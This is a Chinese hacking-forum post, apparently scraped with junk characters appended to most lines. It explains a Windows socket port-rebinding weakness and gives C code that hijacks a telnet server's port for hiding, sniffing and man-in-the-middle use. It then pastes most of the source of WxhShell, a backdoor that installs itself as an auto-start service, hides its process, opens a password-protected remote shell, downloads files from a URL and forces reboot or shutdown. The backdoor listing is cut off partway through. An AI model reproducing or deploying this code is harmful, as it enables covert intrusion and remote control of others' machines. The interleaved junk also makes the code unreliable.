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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zty9O8g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z+2 j(  
1!Afq}|  
  saddr.sin_family = AF_INET; qe|U*K 2_  
@0-vf>e3-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mq+<2 S  
]MnQ3bWq"j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =)nJ'}x  
G{gc]7\=Cd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _FkIg>s  
f"t+r /d  
  这意味着什么?意味着可以进行如下的攻击: i0rh {Ko  
sPvjJr"s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 96i #  
\WxBtpbQ B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |>KOlwh5n  
,PeE'$q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 </D )i  
3f(tb%pa5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N)4R.}  
l<:\w.Gl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m(Iy W734I  
Iqq BUH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QBb%$_Z  
CTJwZY7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *M'/z=V?%  
dP=,<H#]m  
  #include ;e$YM;;d  
  #include Yb4%W-5  
  #include xB5QM #w\  
  #include    u,./,:O%=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #@J{ )  
  int main() v\D.j4%ij  
  { N 5.kDT  
  WORD wVersionRequested; gjk;An  
  DWORD ret; vsJM[$RF  
  WSADATA wsaData; 7sU,<Z/D  
  BOOL val; \i3)/sZ?l  
  SOCKADDR_IN saddr; mI5!rrRD|  
  SOCKADDR_IN scaddr; >1$Vh=\OI  
  int err; E_\V^  
  SOCKET s; +!)_[ zo  
  SOCKET sc; 1AQy 8n*  
  int caddsize; ?{\h`+A  
  HANDLE mt; i':a|#e>  
  DWORD tid;   Mb-AzGsV  
  wVersionRequested = MAKEWORD( 2, 2 ); v(zfq'^%`  
  err = WSAStartup( wVersionRequested, &wsaData ); Mk}*ze0%  
  if ( err != 0 ) { +asO4'r  
  printf("error!WSAStartup failed!\n"); !o\e/HGc!  
  return -1; !,R=6b$E5  
  }  vUR gR  
  saddr.sin_family = AF_INET; Xn02p,,  
   6pbtE]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >65\  
} ^2'@y!(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); onl,R{,`0  
  saddr.sin_port = htons(23); (U@$gkUx}G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B`:l;<&jX  
  { f o idneus  
  printf("error!socket failed!\n"); Fz' s\  
  return -1; 1p8hn!V  
  } T\"-q4+=C  
  val = TRUE; "b) hj?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &]pY~zVc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *W2o$_Hs  
  { ~ 1~|/WG  
  printf("error!setsockopt failed!\n"); %DM0Z8P$B-  
  return -1; pA6A*~QE  
  } QW_BT ^d"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 49YN@ PXC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $e:bDZ(hjj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #I\" 'n5M  
V3ExS1fNf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /!fJ`pu!  
  { zbjV>5  
  ret=GetLastError(); ]K QQdr   
  printf("error!bind failed!\n"); Zgo%Jo  
  return -1; u:H:N]  
  } e xkPu-[W  
  listen(s,2);  3Hi8=*  
  while(1) 6FY.kN\  
  { }ld^zyL  
  caddsize = sizeof(scaddr); ^U##9KkP  
  //接受连接请求 `pF7B6[B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &Bqu2^^  
  if(sc!=INVALID_SOCKET)  HlEHk'  
  { ;9LOeH?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l#Vg=zrT  
  if(mt==NULL) z0Z1J8Qq6.  
  { TX;)}\  
  printf("Thread Creat Failed!\n"); i8S=uJ]n  
  break; ,&L}^Up  
  } y9.?5#aL  
  } ja6V*CWb  
  CloseHandle(mt); ;SX~u*`R  
  } !+]KxB   
  closesocket(s); sG\K$GP!  
  WSACleanup(); sKk+^.K}|  
  return 0; x"r,l/gzy  
  }   =}YX I  
  DWORD WINAPI ClientThread(LPVOID lpParam) !j}L-1*{ l  
  { j4u ["O3  
  SOCKET ss = (SOCKET)lpParam; | ^G38  
  SOCKET sc; VOIni<9y  
  unsigned char buf[4096]; eD7qc1*G  
  SOCKADDR_IN saddr; mtdy@=?1Y  
  long num; rA E5.Q!u  
  DWORD val; |a %Wd  
  DWORD ret; VfozqUf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '8[; m_S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ("{"8   
  saddr.sin_family = AF_INET; wB&5q!{!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q>71uM%e`  
  saddr.sin_port = htons(23); S&QXf<v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BWNI|pq)v  
  { SM8_C!h:  
  printf("error!socket failed!\n"); >GLoeCRNu  
  return -1; pw`'q(ad  
  } 2[qoqd(  
  val = 100; Ks<+@.DLTu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %> 5>wP   
  { _?bO /y_y  
  ret = GetLastError(); .h\Py[h<^  
  return -1; |>Fz:b d  
  } V7.g,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x=+>J$~Pb  
  { xP/q[7>#Q  
  ret = GetLastError(); g@T}h[  
  return -1; v\_\bT1  
  } Sp*4Z`^je  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e\O-5hp7  
  { yDWBrN._  
  printf("error!socket connect failed!\n"); #sxv?r  
  closesocket(sc); { {:Fs  
  closesocket(ss); %ZX9YuXQ  
  return -1; :(wFNK/0{  
  } a=`] L`|N  
  while(1) /0$fYrg>J  
  { @_7rd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hp>L}5 y[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `- (<Q;iO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pWq+`|l$  
  num = recv(ss,buf,4096,0); o\]U;#YD  
  if(num>0) ]^T-X/v9  
  send(sc,buf,num,0); 43]y]/do  
  else if(num==0) r)OiiD"  
  break; u0A$}r$L  
  num = recv(sc,buf,4096,0); 2dcvB]T!  
  if(num>0) jU* D  
  send(ss,buf,num,0); ifu!6_b.  
  else if(num==0) /sj*@HF=  
  break; ,aa 4Kh  
  } ?~4x/d%  
  closesocket(ss); W)J MV  
  closesocket(sc); ;Rpib[m  
  return 0 ; 3W]gn8  
  } 2ij&Db/  
Dh}(B$~Oz+  
R PoBF~>  
========================================================== j>B*8*Ss  
0{vH.b @  
下边附上一个代码,,WXhSHELL ~KYzEqy  
wc. =`Me  
========================================================== iy_Y!wZ{  
'&dT   
#include "stdafx.h" "j8)l4}  
O5Z9`_9<  
#include <stdio.h> OM{^F=Ap  
#include <string.h> @d^Z^H*Y v  
#include <windows.h> {L ~d ER  
#include <winsock2.h> "|[9 Q?  
#include <winsvc.h> Z)2d4:uv  
#include <urlmon.h> ~LZrhwVj$  
GZ,MC?W  
#pragma comment (lib, "Ws2_32.lib") =B5{7g\  
#pragma comment (lib, "urlmon.lib") N5,LHO  
74MxU  
#define MAX_USER   100 // 最大客户端连接数 Mgi~j.[  
#define BUF_SOCK   200 // sock buffer ; +(VO  
#define KEY_BUFF   255 // 输入 buffer q6w)zTpJGJ  
d;]m wLB0  
#define REBOOT     0   // 重启 E #B$.K  
#define SHUTDOWN   1   // 关机 J-<_e??  
/I!62?)-*  
#define DEF_PORT   5000 // 监听端口 3Ovx)qKxd  
,[zSz8R  
#define REG_LEN     16   // 注册表键长度 ;Q^>F6+_m  
#define SVC_LEN     80   // NT服务名长度  WZY+c  
(RV#piM  
// 从dll定义API /e|Lw4$@S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u!5q)>Wt(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `[g$EXX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ES AX}uF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {sGEopd8]q  
..X_nF  
// wxhshell配置信息 "YY<T&n  
struct WSCFG { v_Sa0}K9  
  int ws_port;         // 监听端口 ",D!8>=s  
  char ws_passstr[REG_LEN]; // 口令 DXI4DM"15I  
  int ws_autoins;       // 安装标记, 1=yes 0=no !'p<Kh[i  
  char ws_regname[REG_LEN]; // 注册表键名 @uCi0Pt  
  char ws_svcname[REG_LEN]; // 服务名 Tx!t3;Yz[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A|S)cr8z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6p*X8j3pW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z<%bNnSO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c:u*-lYmK%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eZqEFMBTm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZY]$MZf5yo  
_,)_(R ,h  
}; E+qLj|IU  
GDSXBa*7  
// default Wxhshell configuration +pwTM]bV  
struct WSCFG wscfg={DEF_PORT, H-+U^@w  
    "xuhuanlingzhe", fmj}NV&ma  
    1, n qO*z<  
    "Wxhshell", WA~[) S0  
    "Wxhshell", $wp>2  
            "WxhShell Service", )9_W"'V  
    "Wrsky Windows CmdShell Service", ;!A8A4~nu  
    "Please Input Your Password: ", Z@Zg3AVU  
  1, "aF2:E'  
  "http://www.wrsky.com/wxhshell.exe", F |BY]{  
  "Wxhshell.exe" bs?\ )R5/  
    }; `G1"&q,i  
8wvHg_U6W  
// 消息定义模块 o>C,Db~L/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2HmK['(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ch]Qz[d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T`":Q1n  
char *msg_ws_ext="\n\rExit."; j8p<HE51  
char *msg_ws_end="\n\rQuit."; k>mXh{ (  
char *msg_ws_boot="\n\rReboot..."; (ct1i>g  
char *msg_ws_poff="\n\rShutdown..."; j \jMN*dmV  
char *msg_ws_down="\n\rSave to "; hmGlGc,lf  
r9WR1&T)  
char *msg_ws_err="\n\rErr!"; :_6o|9J\t  
char *msg_ws_ok="\n\rOK!"; K~,!IU_QG  
l`zh Kj  
char ExeFile[MAX_PATH]; d{JI] !  
int nUser = 0; <<u]WsW{C  
HANDLE handles[MAX_USER]; (m:Q'4Ep  
int OsIsNt; QUn!& 55  
6E-eD\?I&  
SERVICE_STATUS       serviceStatus; m;l[flQ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @9| jY1  
npltsK):  
// 函数声明 A{ T9-f@X  
int Install(void); YiO}"  
int Uninstall(void); <b,WxR`  
int DownloadFile(char *sURL, SOCKET wsh); 2PyuM=(Wt  
int Boot(int flag); s_/@`kd{  
void HideProc(void); t2)uJN`a$X  
int GetOsVer(void); f?tU5EX  
int Wxhshell(SOCKET wsl); Q4-d|  
void TalkWithClient(void *cs); 7FcZxu\  
int CmdShell(SOCKET sock); (0q`eO2  
int StartFromService(void); z2YYxJ c&w  
int StartWxhshell(LPSTR lpCmdLine); 9DhM 9VU  
O=7S=Rm4&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3WF]%P%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /C Xg$%\  
-LRx}Mb9  
// 数据结构和表定义 ,.p 36ZLP  
SERVICE_TABLE_ENTRY DispatchTable[] = F$tzsz,9n  
{ Nuot[1kS  
{wscfg.ws_svcname, NTServiceMain}, ;&=CZ6vH  
{NULL, NULL} -%MXt  
}; S8dfe~|7:  
/B?wn=][  
// 自我安装 kE'p=dXx  
int Install(void) 8QJr!#u  
{ ]sb?lAxh{  
  char svExeFile[MAX_PATH]; 36(qe"s  
  HKEY key; 8iaMr278W  
  strcpy(svExeFile,ExeFile); &?bsBqpN  
~/K&=xE  
// 如果是win9x系统,修改注册表设为自启动 #rX ^)2  
if(!OsIsNt) { ai$l7]7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *W\3cS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qfl!>  
  RegCloseKey(key); Zqm%qm:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X5/j8=G H`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'uL$j=vB  
  RegCloseKey(key); 0vfMJzk  
  return 0; j[gqS%  
    } ;%2+Tc-7I  
  } ,dQ*0XO!  
} 8iY.!.G#|  
else { l hYJectJa  
Al*=%nY  
// 如果是NT以上系统,安装为系统服务 8Pa*d/5Y(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '+/mt_re=  
if (schSCManager!=0) 9ns( F:  
{ A+M4=  
  SC_HANDLE schService = CreateService ,jC~U s<  
  ( m}?jU  
  schSCManager, #Y7iJPO  
  wscfg.ws_svcname, ];Noe9o  
  wscfg.ws_svcdisp, YT!iI   
  SERVICE_ALL_ACCESS, @-S7)h>~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fz(;Eo3  
  SERVICE_AUTO_START, N\ Mdia  
  SERVICE_ERROR_NORMAL, 4h!yh2c..  
  svExeFile, A,EG0yb  
  NULL, 8Gy]nD  
  NULL, @4*eH\3  
  NULL, vzI>:Bf  
  NULL, i=n;rT  
  NULL Ne|CWUhO  
  ); $!9U\Au>2  
  if (schService!=0) h\@X!Z,  
  { 3lWGa7<4Z  
  CloseServiceHandle(schService); >g!$H}\  
  CloseServiceHandle(schSCManager); }GURq#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nw/g[/<;  
  strcat(svExeFile,wscfg.ws_svcname); Zc_F"KJL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6/wC StZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oe^JDb#  
  RegCloseKey(key); n Yx[9HN  
  return 0; 83V\O_7j  
    } #pAN   
  } }|Q\@3&  
  CloseServiceHandle(schSCManager); kK}?NKqT  
} B^TgEr  
} 2 oL$I(83  
C<a&]dN/  
return 1; &?QKWxN  
} ,/p+#|>C=  
$> QJ%v9+  
// 自我卸载 {wSz >,  
int Uninstall(void) .R` _"7  
{ /!Ag/SmS!9  
  HKEY key; P|ibUxSA~,  
J3aom,$o  
if(!OsIsNt) { Cd^1E]O0{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !U4YA1>>  
  RegDeleteValue(key,wscfg.ws_regname); 3:WHC3}W  
  RegCloseKey(key); <bW~!lv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \bF<f02P  
  RegDeleteValue(key,wscfg.ws_regname); R$u1\r1I  
  RegCloseKey(key); [Y`E"1f2  
  return 0; lQ^"-zO4  
  } <^> nR3E  
} ~u0<c:C^  
} s~(`~Y4  
else { )Az0.}  
b (@GKH"W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $HOe){G  
if (schSCManager!=0) Q$p3cepsK  
{ ;8MQ'#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PyI"B96gz  
  if (schService!=0) e9'0CH<  
  { g51UIN]o-  
  if(DeleteService(schService)!=0) { Zp{K_ec{  
  CloseServiceHandle(schService); x76;wQ  
  CloseServiceHandle(schSCManager); tIV9Y=ckr0  
  return 0; R!"`Po  
  } I+Yq",{%  
  CloseServiceHandle(schService); c]k+ Sx&}  
  } HI:1Voy  
  CloseServiceHandle(schSCManager); N6BOUU]  
} 45-x$o  
} W +GBSl  
(0y!{ (a  
return 1; D5Rp<PBq,  
} >u0XV"g$  
4yTgH0(T  
// 从指定url下载文件 \goiW;b  
int DownloadFile(char *sURL, SOCKET wsh) Zonn  
{ PL31(!`@d  
  HRESULT hr; mg._c  
char seps[]= "/"; PS!or!m  
char *token; MR4k#{:w  
char *file; k&[6Ld0~56  
char myURL[MAX_PATH]; W"\`UzOLQ  
char myFILE[MAX_PATH]; T%"wz3~  
5sEk rT '  
strcpy(myURL,sURL); .*"KCQGOgM  
  token=strtok(myURL,seps); \TzBu?,v8  
  while(token!=NULL) #:Q\   
  { QS4~":D/C  
    file=token; @R;k@b   
  token=strtok(NULL,seps); yfqe6-8U  
  } 7zN7PHT=$t  
k`'*niz  
GetCurrentDirectory(MAX_PATH,myFILE); Ke#Rkt  
strcat(myFILE, "\\"); C %j%>X`  
strcat(myFILE, file); g 6?y{(1  
  send(wsh,myFILE,strlen(myFILE),0); fWIWRsy%  
send(wsh,"...",3,0); lOb(XH9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X<W${L$G  
  if(hr==S_OK) b ~]v'|5[  
return 0; G[`2Nd<  
else PD^ 6Ywn>s  
return 1; /={N^8^=x  
u^'X>n)oL#  
} +o,f:Ih  
`{IL.9M!f  
// 系统电源模块 ' qT\I8%  
int Boot(int flag) 9zx9t  
{ p74Nd4U$s  
  HANDLE hToken; Hd-g|'^K  
  TOKEN_PRIVILEGES tkp; 805oV(-  
*(wxNsK  
  if(OsIsNt) { [\fwnS_1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vaVV 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g%ys|  
    tkp.PrivilegeCount = 1; ~-sG&u>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e*I92  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iW9  
if(flag==REBOOT) { 5TeGdfu @  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \v{HjqVkC  
  return 0; QAl4w)F  
} 6N Ogi  
else { X4'!:&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [T [] U   
  return 0; F_/ra?WVH  
} 9@Cu5U]  
  } eQ[}ALIq  
  else { ;jPiD`Kyv  
if(flag==REBOOT) { 5w~J"P6jg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c;a<nTLn  
  return 0; V4n;N  
} ~(Q#G" t  
else { d mTZEO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <wd;W;B  
  return 0; ?} E M,  
} %SCt_9u  
} #Lk~{  
x.Ny@l%]  
return 1; 8NNs_~+x}  
} ;Vf{3  
5vS[{;<&  
// win9x进程隐藏模块 tU!Yg"4Q  
void HideProc(void) fb[lL7  
{ MlS5/9m@^  
@1bl<27  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G%!i="/9  
  if ( hKernel != NULL ) {}RU'<D  
  { {z;K0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0#m=76[b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NP4u/C<  
    FreeLibrary(hKernel); f1U8 b*F<  
  } v7hw%9(=  
nC?Lz1re  
return; VT~%);.#  
} dd +lQJ c  
k#/cdK!K  
// 获取操作系统版本 #2Vq"Zn  
int GetOsVer(void) ])?h ~  
{ w~=xO_%  
  OSVERSIONINFO winfo; #IDLfQ5g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,S`F xJcE  
  GetVersionEx(&winfo); OOABn*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fs=)*6}&  
  return 1; X68.*VHh0  
  else 2BT+[  
  return 0; $Tt.r  
} @W==)S%O  
;"RyHow  
// 客户端句柄模块 V)u#=OS  
int Wxhshell(SOCKET wsl) MpJ\4D5G  
{ kaIns  
  SOCKET wsh; \PG_i'R  
  struct sockaddr_in client; c&h8Qk3  
  DWORD myID; YuJ{@"H  
(4C)] RHQ  
  while(nUser<MAX_USER) E]a;Ydf~  
{ q]Xu #:X  
  int nSize=sizeof(client); 6p3cMJ'8y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XW^Pz (  
  if(wsh==INVALID_SOCKET) return 1; _[l&{,  
i],~tT|P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uz20pun4B  
if(handles[nUser]==0) z_A\\  
  closesocket(wsh); v:9'k~4)  
else LN5q_ZvR  
  nUser++; ~6QV?j  
  } J*:_3Wsy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9q[[ ,R  
B| M@o^Tf  
  return 0; 0~DsA Ua  
} [T/S/@IT  
0=40}n&`  
// 关闭 socket pbwOma2  
void CloseIt(SOCKET wsh) Imclz4'8  
{ &h7 n>q  
closesocket(wsh); b+f '  
nUser--; q& KNK  
ExitThread(0); W?ghG  
} S&'s/jB  
KilN`?EJ  
// 客户端请求句柄 Znh;#%n|  
void TalkWithClient(void *cs) Y9st3  
{ yWT1CID  
CC$rt2\e  
  SOCKET wsh=(SOCKET)cs; g]BA/Dw  
  char pwd[SVC_LEN]; nT}i&t!q8@  
  char cmd[KEY_BUFF]; &arJe!K  
char chr[1]; gnb+i`  
int i,j; _,e4?grP#  
G<`(d@g  
  while (nUser < MAX_USER) { rH\oFCzC  
R'atg 9  
if(wscfg.ws_passstr) { \~U:k4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r5$!41   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YZ<5-C  
  //ZeroMemory(pwd,KEY_BUFF); k!WeE#"(  
      i=0; ``{GU}n  
  while(i<SVC_LEN) { x>A[~s"|N  
m<*+^JN  
  // 设置超时 !#e+!h@  
  fd_set FdRead; Q?`s4P)14o  
  struct timeval TimeOut; D})12qB;u9  
  FD_ZERO(&FdRead); \SYeDy  
  FD_SET(wsh,&FdRead); &#.>-D{  
  TimeOut.tv_sec=8; 2Ib 1D  
  TimeOut.tv_usec=0; sP=^5K`g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]j$(so"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aJ1{9 5ea  
d+0= a]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W58%Zz4a  
  pwd=chr[0]; A ;|P\V  
  if(chr[0]==0xd || chr[0]==0xa) { 0| =y#`;,Z  
  pwd=0; +-5YmN'  
  break; 8&qtF.i-6  
  } *Z2Ko5&Y2  
  i++; `ooHABC  
    } rx<P#y]3)  
=fB"T+  
  // 如果是非法用户,关闭 socket K;w]sN+I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N+pCC  
} ^.~e  
pRjrMS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wMCgL h\wi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;W\?lGOs{  
(_gt!i{h  
while(1) { Y\4B2:Qd9  
)N\B C  
  ZeroMemory(cmd,KEY_BUFF); /paZJ}Pr.  
)%8st'  
      // 自动支持客户端 telnet标准   .O&YdUo  
  j=0; |fgh ryI,  
  while(j<KEY_BUFF) { #hXvGon$?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +u&3pK>f  
  cmd[j]=chr[0]; t/3qD7L  
  if(chr[0]==0xa || chr[0]==0xd) { 0&tr3!h\  
  cmd[j]=0; yDRi  
  break; ^B7Ls{  
  } ,*m|Lt%;R  
  j++; 'S&Zq:  
    } {*  w _*  
~HKzqGQy >  
  // 下载文件 %8YUK/(|n  
  if(strstr(cmd,"http://")) { '0I>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); um( xZ6&m  
  if(DownloadFile(cmd,wsh)) O+=}x]q*y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z('t#J!b  
  else |~rKDc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {yd(n_PqY  
  } qc' ;<  
  else { HTm`_}G9  
O+[s4]  
    switch(cmd[0]) { 4#ikdjB;  
  }` <D KO/  
  // 帮助 )YwLj&e4tf  
  case '?': { oP:R1<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,,ML^ey  
    break; _C|j"f/}  
  } KYz@H#M  
  // 安装 g{kjd2  
  case 'i': { /`y^z"!  
    if(Install()) t7,$u-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p+7#`iICE  
    else 4|4[3Ye7u:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WB `h)  
    break; zp``e;gY  
    } vM:c70=  
  // 卸载 N]\)Ok  
  case 'r': { r!|h3*YA  
    if(Uninstall()) Ip *8R]W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ev3,p`zS._  
    else 38:5g_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {7_C|z:'p&  
    break; &78lep  
    } -uhVw_qq#  
  // 显示 wxhshell 所在路径 ^7=h%{ >=  
  case 'p': { >Dz8+y  
    char svExeFile[MAX_PATH]; =hI;5KF  
    strcpy(svExeFile,"\n\r"); TS=U%)Ik  
      strcat(svExeFile,ExeFile); ;sx4w!Y,  
        send(wsh,svExeFile,strlen(svExeFile),0); s'Qmr s a  
    break; \i<7Lk  
    } v(, tu/  
  // 重启 ,8!'jE[d  
  case 'b': { z&jASL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u Qg$hS  
    if(Boot(REBOOT)) ;w._/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b8Hz l!zO  
    else { 53^3. .E|  
    closesocket(wsh); 'X ?Iho  
    ExitThread(0); :dxKcg7  
    } 8;,|z%rS"  
    break; X `F>kp1  
    } 1Cw$^jd  
  // 关机 q &S@\b  
  case 'd': { O2U}jHsd  
